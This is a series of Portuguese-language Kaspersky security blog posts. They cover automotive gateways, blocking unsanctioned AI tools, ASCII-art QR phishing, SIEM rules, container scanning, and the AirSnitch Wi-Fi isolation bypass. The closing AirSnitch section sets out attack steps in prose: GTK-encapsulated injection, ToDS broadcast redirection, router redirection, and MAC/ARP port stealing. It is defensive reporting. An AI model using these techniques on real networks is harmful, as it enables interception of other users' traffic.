Um dos principais componentes para mitigar esses cenários é um gateway de segurança, que isola a arquitetura do veículo em diferentes domínios com base na criticidade, ao mesmo tempo em que fornece roteamento, filtragem e controle de tráfego seguros. Desenvolver esse tipo de solução de software é precisamente o foco de nossa equipe à medida que criamos o Kaspersky Automotive Secure Gateway com base em KasperskyOS.

Qual o diferencial do Kaspersky Automotive Secure Gateway?

O objetivo principal do Kaspersky Automotive Secure Gateway (KASG) é proteger o domínio CAN do veículo, pois o barramento CAN é usado para transmitir uma grande quantidade de comandos de controle críticos. Isso afeta quase 80% das unidades de controle eletrônico dentro do veículo, que lidam com o gerenciamento do motor, frenagem, eletrônica da carroceria e muito mais. Por isso, utilizamos a abordagem de Cibersegurança Protetiva, uma arquitetura unificada que considera os requisitos de segurança funcional e de segurança cibernética.

Por exemplo, os mecanismos padrão de Proteção de ponta a ponta (E2E) são normalmente usados para mitigar os riscos associados a mensagens CAN perdidas, fora de ordem ou corrompidas. No entanto, esses mecanismos não foram originalmente projetados para combater ciberataques direcionados. Se um invasor conseguir construir um quadro malicioso que esteja em conformidade com o formato E2E necessário, o sistema poderá aceitá-lo como válido.

Isso introduz um novo fator: é fundamental não apenas verificar se uma mensagem foi entregue sem erros, mas também garantir que foi realmente gerada por uma unidade de controle eletrônico (ECU) confiável e não foi alterada em trânsito. Isso é particularmente vital para transmitir comandos de controle, como aqueles enviados ao sistema de frenagem do veículo, ou para implementar sistemas de entrada sem chave (NFC).

Para enfrentar esse desafio, os mecanismos de Comunicação Segura A Bordo (SecOC) são integrados à arquitetura do veículo. Esses sistemas usam métodos criptográficos para verificar a autenticidade e a integridade da mensagem, protegendo o sistema contra ataques de spoofing e repetição de mensagens. O KASG implementa com sucesso esses mecanismos, que, além da verificação de mensagens, executam a função crucial de gerenciamento centralizado de chaves. Isso permite que as chaves de criptografia sejam distribuídas e atualizadas a partir de um único ponto dentro do veículo, reduzindo o custo e a carga de processamento nas ECUs envolvidas na troca de dados apoiada pelo SecOC.

IDS automotivo

No entanto, em sistemas complexos, não é mais suficiente aplicar mecanismos de segurança somente a mensagens individuais ou segmentos de rede separados. É essencial fornecer monitoramento e controle em todo o veículo, rastreando anomalias comportamentais, interações incomuns entre domínios e tentativas de adulteração não autorizadas. No domínio de TI, isso é conhecido como um Sistema de Detecção de Intrusão (IDS). Esses sistemas também foram adotados com sucesso pela indústria automotiva.

Ao mesmo tempo, é importante perceber que, para um veículo moderno, um IDS não é um único ponto mágico de coleta e análise de dados. O veículo requer um sistema de monitoramento distribuído. O monitoramento é realizado em vários níveis de arquitetura: dentro dos domínios, no nível do controlador individual e nos limites da rede.

O gateway de segurança se torna um ponto de monitoramento crítico porque toda a interação entre domínios passa por ele. Além disso, o gateway fornece visibilidade da troca de dados em diferentes segmentos da rede veicular. Sua missão é detectar desvios do comportamento normal e gerar eventos de segurança.

Quando se trata do monitoramento do domínio CAN implementado no KASG, o IDS observa os seguintes critérios para análise de tráfego:

• Alinhamento dos parâmetros da mensagem CAN (CAN ID, DLC) com suas descrições na especificação DBC.
• Frequência e periodicidade das mensagens CAN.
• Faixas permitidas para sinais CAN.

Na prática, no entanto, uma limitação importante fica clara: mesmo com um IDS integrado, é necessário mais contexto para determinar as características exatas de um ataque. Além disso, ao operar veículos altamente automatizados, onde o monitoramento de toda a frota é essencial, essa análise isolada torna-se inerentemente insuficiente.

Conectar um veículo a um SIEM

O monitoramento de múltiplos objetos, a correlação de dados e a análise de dados podem ser tratados externamente com eficiência, especificamente em sistemas SIEM (Gerenciamento de Eventos e Informações de Segurança), que são tradicionalmente usados em centros de operações de segurança cibernética corporativos e industriais. Portanto, utilizar um sistema SIEM em toda a frota é uma etapa lógica que torna possível:

• Coletar eventos de segurança de vários veículos.
• Correlacione eventos ao longo do tempo e entre contextos.
• Detecte ataques avançados e distribuídos.
• Fornecer auditoria e investigação de incidentes.
• Responda a incidentes individuais e gerencie os riscos cibernéticos em toda a frota.

Ao integrar com sistemas SIEM externos, várias tarefas críticas devem ser abordadas: garantir uma conexão segura, ajustar o processo de transmissão de eventos de segurança e estabelecer regras de linha de base para o processamento e a correlação de eventos. Estamos trabalhando ativamente em todos esses desafios usando nosso próprio sistema SIEM Kaspersky Unified Monitoring and Analysis Platform como plano-base.

Ainda há muitos desafios pela frente que precisam ser resolvidos. Este artigo abordou apenas uma fração das metodologias atualmente usadas no KASG para garantir a segurança e proteção veicular. No entanto, mesmo esta pequena seção demonstra que a segurança automotiva não pode ser alcançada resolvendo um único problema ou aplicando um único mecanismo. Alcançar a proteção eficaz requer uma abordagem que permita o desenvolvimento metódico da arquitetura, equilibrando diversos requisitos para a funcionalidade, segurança e confiabilidade veicular.

Enquanto muitas empresas estão lançando intencionalmente a IA para impulsionar qualidade e eficiência, ferramentas de IA não autorizadas estão surgindo em ambientes corporativos com ainda mais velocidade. Os fornecedores de software estão incorporando a IA diretamente nos produtos que as empresas já usam (veja o caso do Microsoft Copilot e no Google Gemini), enquanto os funcionários estão entrando em ação por conta própria e instalando ferramentas às escondidas. Como resultado, as empresas estão encarando um canal de vazamento de dados mal gerenciado: a equipe cola informações de sistemas corporativos em chatbots de IA, enviando dados não apenas para o provedor de SaaS, mas diretamente para os desenvolvedores por trás do modelo de IA subjacente. Tanto os riscos quanto as estratégias de mitigação variam dependendo do tipo de sistema de IA em jogo. Dividimos esse tópico amplo, concentrando-nos fortemente em ferramentas para detectar e bloquear a IA em dois níveis distintos.

Tipos de sistemas de IA indesejados

Dependendo do tipo de IA em questão, gerenciar e bloquear seu uso requer um método diferente. É fundamental dividir a IA em quatro categorias distintas:

• Recursos de IA nativos de plataformas. Esse é o caso do Microsoft Copilot, Google Gemini e Apple Intelligence, juntamente com recursos de IA incorporados diretamente nos navegadores. O complicado sobre essas soluções é que elas são incorporadas aos elementos essenciais de rotina, estão instantaneamente disponíveis para todos os usuários (às vezes aparecendo de forma agressiva) e, o mais importante, os fornecedores tentam ativá-las por padrão.
• Complementos de IA incorporados em aplicativos de negócios. Esse grupo inclui a IA do Slack, Zoom AI Companion, a IA do Notion, o assistente Rovo do Jira e outras soluções semelhantes. Elas estão vinculadas a um único aplicativo e são completamente inseparáveis dele.
• Chatbots independentes baseados na web e em aplicativos. ChatGPT, Claude, Perplexity, Character AI, configurações locais como LM Studio, extensões de navegador e navegadores agênticos como Comet. Os aplicativos e serviços nesta categoria geralmente são adotados pelos funcionários por conta própria sem permissão e são exemplos clássicos da IA paralela.

• Agentes multifuncionais nativos da área de trabalho. Este grupo apresenta ferramentas como OpenClaw, NanoClaw, NemoClaw e outras. Elas representam a maior ameaça porque vêm com amplos direitos de acesso por padrão e processam ativamente dados não confiáveis da web aberta.

Como lidar com IA indesejada?

Cada empresa, dependendo do setor de atividade, apetite por inovação e tolerância ao risco, precisa traçar sua própria linha divisória entre casos de uso recomendados, aprovados caso a caso e os completamente proibidos para produtos de IA específicos. Setores regulamentados, como os de saúde, seguem um conjunto de regras, enquanto as empresas de varejo operam sob um playbook totalmente diferente. De qualquer forma, depois de analisar exatamente quais ferramentas de IA já entraram na organização, as políticas corporativas precisam ser ajustadas. É por isso que o imperativo de negócios número um é empregar as ferramentas de registro e segurança da informação existentes para verificar a infraestrutura corporativa.

Dependendo da estratégia escolhida, os sistemas de IA descobertos podem ser:

• Desativado ou restritos usando as configurações de política corporativa incorporadas nas próprias ferramentas
• Bloqueados no endpoint ou no nível da rede para criar uma rede de segurança contra soluções alternativas de política ou erros de configuração
• Transicionados para o acesso gerenciado, em que a ferramenta não é completamente bloqueada, mas roteada por meio de um gateway corporativo dedicado que verifica as permissões de acesso e monitora os padrões de uso

Detecção de sistemas de IA

A detecção de IA requer uma abordagem em várias camadas, pois diferentes métodos de detecção se complementam e funcionam melhor em tipos específicos de IA.

Quase todas essas ferramentas permitem fazer mais do que apenas detectar a IA: elas permitem bloqueá-la completamente ou, no mínimo, alertar a equipe responsável.

De olho na OAuth

As soluções populares de IA administrativa, especialmente assistentes de reunião, agentes de automação de e-mail e calendário e semelhantes, obtêm acesso aos dados corporativos solicitando permissões OAuth diretamente das plataformas de comunicação, fluxo de trabalho de documentos ou videoconferência. Se um usuário tiver a oportunidade de conceder essas permissões a aplicativos de terceiros, os vazamentos de dados resultantes ignorarão completamente o perímetro da organização. Ferramentas como EDR e NGFW não detectarão nada se uma ferramenta como Read.ai capturar gravações de cada reunião realizadas no Microsoft Teams, por exemplo.

A medida mais drástica, que geralmente é a melhor, é impedir que usuários comuns concedam OAuth em primeiro lugar. Veja como lidar com a parte técnica (são necessários direitos de Administrador Global, Administrador de Aplicativos ou equivalentes):

Microsoft 365 / Entra ID

No centro de administração do Microsoft Entra, acesse Identidade > Aplicativos > Aplicativos empresariais > Consentimento e permissões > Configurações de consentimento do usuário. Nessa seção, o Consentimento do usuário para aplicativos pode ser desativado (confira guia completo da Microsoft).

Google Workspace

No Console de Administração do Google, acesse Segurança > Controle de acesso e dados > Controles de API. Em Gerenciar acesso ao aplicativo, o nível de confiança de todos os aplicativos pode ser definido: Confiável, Limitado, Dados específicos do Google ou Bloqueados. No entanto, a chave está na subseção Configurações do aplicativo não configurado, que determina o que acontece quando um usuário tenta conectar um aplicativo desconhecido. Para fechar essa brecha, selecione Não permitir que os usuários acessem aplicativos de terceiros.

Uma subseção separada, Gerenciar serviços do Google, permite ajustar exatamente como os aplicativos de terceiros interagem com os serviços do Google Workspace e do Google Cloud. Isso permite vetar o acesso para cada produto individual do Google (consulte o guia oficial do Google).

Salesforce

Em Configuração, use a caixa Busca rápida para pesquisar aplicativos conectados e selecione Gerenciar aplicativos conectados nos resultados. Embora as configurações sejam definidas para cada aplicativo externo individualmente, todos os usuários podem aprovar o acesso por padrão. Não há um botão de bloqueio geral aqui. Em vez disso, o Salesforce permite optar por usuários pré-autorizados aprovados pelo administrador (consulte o guia completo do Salesforce sobre isso).

Slack

No menu de configurações de administração, acesse Aplicativos e fluxos de trabalho -> Configurações de gerenciamento de aplicativos. Ajuste a configuração Exigir aplicativos aprovados selecionando Permitir somente aplicativos pré-aprovados. Depois de bloqueado, verifique novamente se nenhuma ferramenta de IA não autorizada foi inserida na lista de aplicativos aprovados.

Já escrevemos várias vezes sobre como códigos QR são usados em esquemas de phishing. Nosso gateway seguro de e-mail até inclui tecnologia para ler esses códigos (não apenas em e-mails, mas também em anexos) e verificar os links incorporados. Ainda assim, os criminosos não desistem de enviar códigos QR às suas vítimas. Recentemente, temos observado um aumento no uso de arte ASCII para essa finalidade. Trata-se de imagens criadas a partir de caracteres de texto. Isso é particularmente irônico, considerando que, no passado, os phishers tentavam escapar da verificação de links escondendo-os em imagens e, agora, estão tentando burlar a análise de imagens voltando ao uso de texto. Mas com algumas adaptações.

A arte esquecida do ASCII e como os criminosos a utilizam

Hoje pode parecer difícil acreditar, mas houve uma época em que os computadores não eram capazes de exibir imagens gráficas. Por isso, as primeiras imagens digitais eram construídas com caracteres de texto. Após a adoção do padrão ASCII (American Standard Code for Information Interchange) em 1963, seus caracteres passaram a ser amplamente utilizados para criar esse tipo de arte, garantindo que as imagens fossem exibidas da mesma forma em diferentes computadores. Com o passar do tempo, outros símbolos de texto, como os presentes no conjunto Unicode expandido, também passaram a ser utilizados na criação dessas imagens. Ainda assim, o termo “arte ASCII” continuou sendo usado para descrever esse estilo artístico de forma geral. Houve artistas que se dedicaram seriamente a essa técnica. Os primeiros sites da Internet utilizavam arte ASCII em seu design e até mesmo os primeiros conteúdos pornográficos digitais eram representados exclusivamente por caracteres de texto.

Com a evolução das tecnologias gráficas, a arte ASCII perdeu popularidade. Ela voltou a ganhar destaque nos anos 2000, durante o auge do spam por e-mail. Naquela época, os spammers utilizavam a técnica principalmente para disfarçar palavras associadas a spam que poderiam acionar filtros de e-mail. Além disso, mensagens compostas por texto consumiam menos recursos dos servidores do que imagens. Outro fator era que muitos usuários pagavam pelo volume de tráfego de Internet utilizado e, por isso, frequentemente desativavam o carregamento de imagens em seus clientes de e-mail. Naturalmente, naquela época, ampliamos nossas soluções de segurança para e-mail com tecnologias específicas para detectar e bloquear arte ASCII maliciosa.

Agora, a técnica de ASCII foi redescoberta, desta vez por criminosos que buscam contornar sistemas capazes de reconhecer códigos QR presentes em imagens.

Como é um ataque de phishing com arte ASCII?

Veja um exemplo recente. O pretexto em si é bem comum: alguém supostamente enviou à vítima um documento confidencial via DocuSign, mas, para abri-lo, o destinatário precisa escanear o código QR no e-mail para acessar um site e inserir suas credenciais corporativas.

Código QR criado com caracteres Unicode. Parte do código foi desfocada para impedir que o link malicioso fosse escaneado

À primeira vista, o código parece estranho. Isso acontece porque ele é desenhado utilizando caracteres pseudo-gráficos e até mesmo os espaços entre as linhas ficam visíveis. Na realidade, não há nenhuma imagem propriamente dita no código da mensagem de e-mail. Nos bastidores, o código QR se parece com algo assim:

Arte ASCII presente no código do e-mail

Como resultado, os mecanismos de verificação de links não conseguem identificar o endereço, e as ferramentas de análise de imagens não conseguem detectar a URL oculta no código QR. Com isso, os criminosos acreditam que o e-mail de phishing chegará à vítima sem problemas. Spoiler: não esquecemos como bloquear arte ASCII.

É normal receber um código QR por e-mail?

Em teoria, existem situações legítimas em que o uso de um código QR faz sentido. Ele é uma forma prática de compartilhar contatos, links para aplicativos móveis, localizações em mapas ou informações de configuração. Em outras palavras, funciona bem quando o objetivo é transferir informações diretamente para um dispositivo móvel.

No entanto, se alguém pedir que você utilize um código QR para inserir credenciais corporativas em um smartphone, isso deve ser considerado um forte sinal de alerta. E quando esse código QR é criado com arte ASCII, trata-se claramente de uma tentativa de phishing ou de direcionamento para uma URL maliciosa. Esse tipo de técnica tem apenas uma finalidade: tentar contornar mecanismos de segurança.

Como se proteger?

Para impedir que e-mails de phishing, contendo ou não arte ASCII, cheguem às caixas de entrada dos colaboradores, recomendamos a adoção de um gateway de e-mail seguro antiphishing. Como camada adicional de defesa, é importante instalar soluções de segurança em todos os dispositivos utilizados para acessar a Internet.

Também recomendamos a realização periódica de treinamentos de conscientização em segurança, para que os colaboradores conheçam as táticas de phishing mais recentes. Vale destacar, especificamente, que a presença de arte ASCII em e-mails modernos pode ser um indicativo importante de uma tentativa de ataque de phishing.

Em termos simples, a lógica do sistema SIEM funciona assim: se o evento A ocorrer seguido do evento B, isso pode indicar um ataque, e um especialista em segurança da informação deverá ser notificado. Mas, no cenário atual, esse modelo simples está se mostrando cada vez menos eficaz. Recentemente, nossos especialistas analisaram um incidente de grande repercussão: invasores comprometeram a infraestrutura de atualização do popular software Notepad++ e distribuíram malware por meio do mecanismo de atualização. É simplesmente impossível ter regras previamente definidas e especificamente projetadas para neutralizar cenários desse tipo.

Os próprios ataques tornaram-se mais sofisticados: os invasores usam ferramentas legítimas, atacam a cadeia de suprimentos comprometendo softwares fora do perímetro corporativo, estendem seus cenários ao longo do tempo e disfarçam suas ações como atividades normais. Em outras palavras, eles não “invadem” a infraestrutura; na maioria das vezes, eles fazem login e usam software legítimo. Como resultado, as regras fixas clássicas do passado não são acionadas ou geram muitos alertas falsos. Foi isso que levou à mudança para cenários de correlação mais flexíveis.

Conteúdo SIEM atualizado dinamicamente

Atualmente, o conteúdo de correlação não é mais um conjunto estático de regras, mas sim um processo: ele evolui e se adapta constantemente às ameaças atuais. Somente em 2025, lançamos 55 atualizações de pacotes de regras para diferentes versões e idiomas do nosso sistema Kaspersky SIEM. Em apenas um ano, adicionamos 10 novos pacotes de regras, além de 250 regras de detecção e diversas melhorias no conteúdo existente. Neste ano, já adicionamos 43 novas regras e refinamos outras 63. No total, isso equivale a mais de 850 regras que abrangem uma parte significativa da estrutura MITRE ATT&CK.

As regras do Kaspersky SIEM são desenvolvidas com base nos insights de nossos especialistas, que analisam ataques recentes no mundo real, principalmente a partir das descobertas do nosso serviço de detecção e resposta gerenciada (MDR) e das nossas pesquisas sobre ameaças. Como resultado, nossas regras abrangem cenários (do reconhecimento à escalação de privilégios) que envolvem as abordagens mais recentes utilizadas pelos invasores. Por exemplo, detectamos o uso de novas técnicas de ataque, como a campanha ToolShell.

Além das atualizações programadas, a equipe também lança regularmente o chamado conteúdo emergencial: conjuntos de regras voltados à resposta rápida a técnicas de ataque novas e inesperadas. Em fevereiro, por exemplo, regras de detecção foram lançadas para contornar a autenticação em produtos Fortinet por meio do mecanismo de SSO: os invasores usaram solicitações SAML especialmente elaboradas para obter acesso a sistemas sem credenciais.

De eventos a cadeias de ataque

Além disso, as regras SIEM modernas não descrevem mais eventos individuais, mas sequências de ações. Os cenários são estruturados em torno das etapas de um ataque: desde o acesso inicial até a escalação de privilégios e a persistência. A eficácia do Kaspersky SIEM é ampliada por meio da integração com o Kaspersky EDR e de conjuntos de regras dedicados ao Active Directory, que implementam dezenas de cenários de detecção de ataques em diferentes estágios. Essa abordagem nos permite ver não apenas sinais individuais, mas o quadro completo.

Integração e visibilidade interna

Outra maneira de melhorar a eficácia de um sistema SIEM é expandir as fontes de dados. Um SIEM clássico agrega eventos de diferentes níveis da infraestrutura: desde logs até telemetria de endpoints e sistemas internos. Além disso, nosso sistema SIEM inclui conjuntos especializados de regras para nossas outras soluções (Kaspersky Security Center, Kaspersky Security for Mail Groups, plataforma Kaspersky Anti Targeted Attack), que permitem o monitoramento de ações de administradores, autenticação e status do serviço. Como resultado, o sistema se torna uma ferramenta não somente para detectar ataques, mas também para monitorar a atividade interna.

No geral, o SIEM deixou de ser apenas um conjunto de regras e evoluiu para um sistema de detecção continuamente atualizado. A eficácia é determinada não pela quantidade de detecções, mas sim pela relevância delas, pela coerência e pela precisão com que refletem as ações reais dos invasores. Acompanhe as novidades sobre nossa solução Kaspersky Unified Monitoring and Analysis Platform (SIEM) na página oficial do produto.

Entre as várias ferramentas no portfólio da Kaspersky está uma plataforma dedicada para proteger ambientes em contêineres. Mas nesta postagem, quero falar sobre o Kaspersky Container Security (KCS), não como um representante do fornecedor, mas como membro de uma equipe que usa ativamente essa solução em sua rotina de trabalho. Nossa Equipe de Segurança de Produto é responsável por estabelecer processos de desenvolvimento seguros em toda a empresa. Estamos envolvidos em todas as etapas do ciclo de vida de desenvolvimento de software, e nossa prioridade é ajudar as equipes de produto a detectar problemas de segurança com antecedência para que possam cumprir o cronograma de seus lançamentos. Para isso, criamos vários fluxos de trabalho, um dos quais se concentra especificamente na segurança do contêiner. É nesse contexto que contamos com nossa própria plataforma Kaspersky Container Security.

As soluções de segurança para contêineres geralmente são vistas principalmente como verificadores de imagens para registros de contêineres. No entanto, o Kaspersky Container Security (KCS) é uma plataforma de segurança mais abrangente para ambientes de contêiner que lida com várias tarefas em virtude de sua integração de ponta a ponta no fluxo de trabalho do contêiner. Embora certamente inclua um cenário de verificação do contêiner, o que é inegavelmente importante, nossa experiência com o KCS mostrou que seu valor real se torna aparente quando ele é integrado em vários pontos ao longo do fluxo de trabalho de uma só vez:

• Compilações regulares
• Verificação de artefato antes de lançamento ou implementação
• Monitoramento de contêineres já em execução no cluster

O cenário de referência: como o KCS verifica imagens

Em sua essência, o processo é padrão. O KCS verifica as imagens em busca de problemas comuns em contêineres: vulnerabilidades conhecidas, malware, segredos codificados diretamente no código (hardcoded) e configurações incorretas. No entanto, o resultado da verificação não é apenas um veredicto único e abstrato. O sistema calcula uma classificação de risco com base nas descobertas, fornecendo uma imagem clara da postura de segurança do ativo. Na prática, isso é incrivelmente útil porque as equipes não veem apenas uma mensagem de “imagem ruim”; elas obtêm um detalhamento claro do que está de fato gerando o risco e do que precisa ser corrigido primeiro.

Mas isso não é tudo. O KCS funciona bem para cenários em que não é suficiente apenas encontrar um problema: é necessário vinculá-lo ao ciclo de vida do artefato. Quando uma equipe gerencia centenas de compilações, a verificação periódica do registro não é suficiente e quase sempre requer intervenção manual. É preciso saber qual pipeline introduziu o risco, quais políticas foram acionadas e quais são as próximas etapas. O KCS fornece esse vínculo essencial.

Cenário avançado: integração de CI/CD

Uma característica menos conhecida do KCS é seu recurso de verificação em grande escala dentro de pipelines de CI/CD. Para nossa equipe, essa é a maneira mais eficaz de usar o KCS. A lógica é direta: você integra o verificador no pipeline e os resultados da verificação aparecem diretamente nos logs de execução. Eles também são enviados para o console central da solução, onde são registrados em uma seção de CI/CD dedicada que vincula as descobertas ao nome do artefato, horário de verificação, pipeline e nível de gravidade.

Em um ambiente de CI/CD, é possível verificar imagens de arquivos compactados TAR ou diretamente de repositórios Git. Pronto para uso, é compatível com GitLab, Jenkins, TeamCity e GitHub Actions; na prática, o KCS pode ser integrado em qualquer orquestrador de pipeline.

Outro aspecto crítico do uso do KCS no CI/CD envolve as políticas de segurança. Nossa solução usa um modelo em que as políticas permitem não apenas coletar resultados, mas também controlar o comportamento do próprio pipeline. Isso é útil para implementações em fases. Você pode iniciar no modo de auditoria e, em seguida, avançar gradualmente para compilações com falha quando forem detectados segredos, configurações incorretas críticas ou vulnerabilidades. Essa abordagem evolutiva geralmente funciona melhor do que simplesmente apertar um botão para bloquear tudo de uma vez.

Como o KCS ajuda em nossos fluxos de trabalho

Executamos nosso próprio sistema de análise de composição, portanto, não tratamos o KCS como uma fonte de verdade única. Em vez disso, serve como uma poderosa camada extra em nossos fluxos de trabalho, e é nesse aspecto que ele entrega mais valor.

Enquanto nosso sistema interno de análise de composição lida com rastreamento de componentes, dependências e avaliação de risco em nível de código, o KCS se destaca na proteção do perímetro do contêiner. Ele cuida da verificação técnica de imagens e da segurança de CI/CD, ao mesmo tempo em que agrega relatórios sobre artefatos de contêiner. Não entra em conflito com nossa análise interna; ele a reforça exatamente no ponto em que os contêineres recebem cargas de trabalho reais.

Isso é particularmente útil para nós em dois cenários. Primeiro, ele fornece controle de artefatos em estágio inicial durante o desenvolvimento. Em segundo lugar, ele atua como um gatekeeper durante o aprovação de versão. Não debatemos mais os riscos algum tempo depois do lançamento; nós os detectamos no ponto exato em que a equipe ainda pode corrigir rapidamente um Dockerfile, um gráfico do Helm ou um conjunto de configurações sem uma longa cadeia de aprovação.

O modo como ele lida com uma lista de materiais de software (SBOM) também merece destaque. Nosso sistema depende principalmente de SBOMs relevantes e atualizados. O KCS oferece modos específicos para o processamento de SBOMs e pode até mesmo gerar resultados de verificação no mesmo formato. Nesse sentido, o KCS se integra perfeitamente aos nossos processos internos, permitindo incorporá-lo aos nossos fluxos de trabalho existentes, em vez de precisarmos adaptar nossos fluxos a ele.

Por que, para nós, o KCS é mais do que apenas um verificador

Sua outra camada poderosa é a segurança do cluster. Neste estágio, o KCS evolui para além de ser apenas uma ferramenta de verificação de imagens. Ele apresenta políticas de tempo de execução para contêineres e nós, modos de auditoria e bloqueio, além de um conjunto de perfis de segurança. Em termos práticos, isso significa que o KCS pode ser usado não apenas para encontrar vulnerabilidades em uma imagem, mas também para monitorar o que o contêiner está realmente fazendo quando ativo. As políticas podem considerar a proveniência da imagem, assinaturas digitais, restrições de recursos e volumes, bem como até mesmo os processos e as conexões de rede em execução dentro do contêiner.

Quando um problema é detectado, você tem a opção de registrar os resultados no modo de auditoria primeiro, em vez de bloquear o processo imediatamente. Em ambientes de produção, essa é sempre a decisão mais inteligente. Outra ferramenta vital é garantir a procedência confiável das imagens. O KCS é compatível com a verificação de assinatura digital, o que muda o foco de simplesmente encontrar CVEs para proteger toda a cadeia de fornecimento de software da empresa.

Recursos de relatórios

O KCS faz mais do que apenas exibir os problemas que detecta; ele serve como uma fonte abrangente de relatórios. Ele pode gerar relatórios sobre imagens, riscos aceitos e benchmarks do Kubernetes.

Os relatórios gerados estão disponíveis nos formatos HTML, PDF, CSV, JSON e XML, com compatibilidade específica para SARIF em relatórios detalhados, o que é ideal para integração em fluxos de trabalho AppSec. Quanto aos SBOMs mencionados acima, os cenários de verificação podem gerar artefatos e resultados nos formatos CycloneDX e SPDX, facilitando a conexão a processos existentes.

Por que continuamos a usar o KCS

Para simplificar, o KCS complementa nossos fluxos de trabalho perfeitamente: não porque resolve todos os problemas, mas porque se integra de forma muito eficaz aos cenários de engenharia.

Também valorizamos o fato de que a equipe do produto considera o nosso feedback. A equipe do KCS realmente incorpora nossas solicitações operacionais práticas em seu roteiro de desenvolvimento. Por exemplo, a integração profunda do SBOM e os tipos de relatório específicos foram adicionados ao KCS como resultado direto de nossa experiência prática.

Em resumo, quando integrado corretamente, o Kaspersky Container Security ajuda a abranger várias áreas ao mesmo tempo: desde a verificação básica de contêineres até CI/CD e segurança de clusters. Em nossa experiência, ele fornece valor real em um ecossistema de contêiner ativo. Saiba mais sobre a solução na página oficial do KCS.

Na conferência de segurança da informação NDSS Symposium 2026, realizada em fevereiro em San Diego, um renomado grupo de pesquisadores apresentou um estudo que revelou o ataque AirSnitch, capaz de contornar o recurso de isolamento de clientes Wi-Fi, também conhecido como rede de visitantes ou isolamento de dispositivos. Esse ataque permite conectar-se a uma rede sem fio por meio de um ponto de acesso e, a partir daí, acesse outros dispositivos conectados, inclusive os que usam identificadores de rede (SSIDs) diferentes no mesmo hardware. Os dispositivos-alvo podem facilmente estar em sub-redes sem fio protegidas por WPA2 ou WPA3. Na verdade, o ataque não quebra a criptografia; ele explora a maneira como os pontos de acesso lidam com chaves de grupo e roteamento de pacotes.

Na prática, isso significa que redes de visitantes oferecem um nível muito baixo de segurança real. Se as redes corporativa e de visitantes estiverem no mesmo dispositivo físico, o AirSnitch permite que um invasor conectado injete tráfego malicioso em SSIDs vizinhos. Em alguns casos, ele pode até realizar um ataque man-in-the-middle (MitM) completo.

A segurança do Wi-Fi e o papel do isolamento

A segurança do Wi-Fi está em constante evolução. Sempre que surge um ataque viável contra a geração de proteção mais recente, o setor responde com algoritmos e processos mais complexos. Esse ciclo começou com os ataques FMS, usados para quebrar chaves de criptografia WEP, e continua até hoje. Exemplos recentes incluem os ataques KRACK ao WPA2 e os FragAttacks, que afetam todas as versões do protocolo de segurança WEP até WPA3.

Atacar redes Wi-Fi modernas de forma eficaz (e discreta) não é uma tarefa simples. A maioria dos profissionais considera que usar WPA2/WPA3 com chaves complexas e separar redes por finalidade costuma ser suficiente para a proteção. No entanto, apenas especialistas sabem que o isolamento de clientes nunca foi padronizado nos protocolos IEEE 802.11. Fabricantes diferentes implementam esse isolamento de formas distintas, usando a Camada 2 ou 3 da arquitetura de rede (ou seja, no roteador ou no controlador Wi-Fi), o que significa que o comportamento de sub-redes isoladas varia bastante dependendo do ponto de acesso específico ou do modelo do roteador.

Embora o marketing afirme que o isolamento de clientes é ideal para impedir que visitantes de restaurantes ou hotéis ataquem uns aos outros, ou para garantir que visitantes corporativos não possam acessar nada além da Internet, na prática, esse isolamento muitas vezes depende do fato de ninguém tentar explorá-lo. É justamente isso que a pesquisa sobre o AirSnitch demonstra.

Tipos de ataques AirSnitch

O nome AirSnitch não se refere a uma única vulnerabilidade, mas a toda uma família de falhas de arquitetura em pontos de acesso Wi-Fi. Também é o nome de uma ferramenta de código aberto usada para testar roteadores quanto a esses pontos fracos específicos. Ainda assim, os profissionais de segurança precisam lembrar que a linha entre teste e ataque é bastante tênue.

O modelo desses ataques é sempre parecido: um cliente malicioso se conecta a um ponto de acesso com isolamento ativado. Outros usuários (as vítimas) estão conectados ao mesmo SSID ou a SSIDs diferentes no mesmo ponto de acesso. Esse cenário é comum; por exemplo, uma rede de visitantes pode estar aberta e sem criptografia, ou um invasor pode simplesmente obter a senha do Wi-Fi de visitante se passando por um visitante legítimo.

Para determinados ataques AirSnitch, o invasor precisa saber previamente o endereço MAC ou o IP da vítima.  Em última análise, a eficácia de cada ataque depende do fabricante do hardware (veja mais detalhes abaixo).

Ataque de GTK

Após o handshake do WPA2/WPA3, o ponto de acesso e os clientes compartilham uma Group Transient Key (GTK) para lidar com o tráfego de broadcast. Nesse cenário, o invasor encapsula os pacotes destinados a uma vítima específica dentro de um pacote de tráfego de transmissão. Em seguida, ele envia esses pacotes diretamente à vítima, falsificando o endereço MAC do ponto de acesso. Esse ataque permite apenas a injeção de tráfego, o que significa que o invasor não recebe uma resposta. Mesmo assim, já é suficiente para enviar anúncios de roteamento ICMPv6 maliciosos ou mensagens DNS e ARP ao cliente, ignorando efetivamente o isolamento. Essa é a forma mais universal do ataque, funcionando em redes WPA2/WPA3 que usam uma GTK compartilhada. Alguns pontos de acesso corporativos, no entanto, permitem a randomização da GTK por cliente, o que neutraliza esse método.

Redirecionamento de pacotes de transmissão

Nessa versão do ataque, o invasor nem precisa se autenticar primeiro no ponto de acesso. Ele envia pacotes ao ponto de acesso com um endereço de destino de transmissão (FF:FF:FF:FF:FF:FF) e a sinalização ToDS definida como 1.  Como resultado, muitos pontos de acesso tratam esse pacote como tráfego de transmissão legítimo, o criptografam usando a GTK e o enviam para todos os clientes na sub-rede, incluindo a vítima. Assim como no método anterior, é possível encapsular o tráfego especificamente destinado a uma única vítima dentro dos pacotes.

Redirecionamento via roteador

Esse ataque explora uma falha de arquitetura entre as Camadas de segurança 2 e 3 presente no hardware de alguns fabricantes. O invasor envia um pacote ao ponto de acesso, definindo o endereço IP da vítima como destino na camada de rede (L3).  No entanto, na camada sem fio (L2), o destino é definido como o próprio endereço MAC do ponto de acesso, evitando que o filtro de isolamento seja acionado. O subsistema de roteamento (L3) depois encaminha o pacote de volta à vítima, contornando completamente o isolamento da L2. Assim como nos métodos anteriores, trata-se de um ataque apenas de transmissão em que o invasor não vê a resposta.

Roubo de porta para interceptação de pacotes

O invasor se conecta à rede usando uma versão falsificada do endereço MAC da vítima e inunda a rede com respostas ARP dizendo: “este endereço MAC está na minha porta e SSID”.  O roteador da rede alvo atualiza suas tabelas MAC e começa a enviar o tráfego da vítima para essa nova porta. Com isso, o tráfego destinado à vítima acaba sendo recebido pelo invasor, mesmo que a vítima esteja conectada a outro SSID.

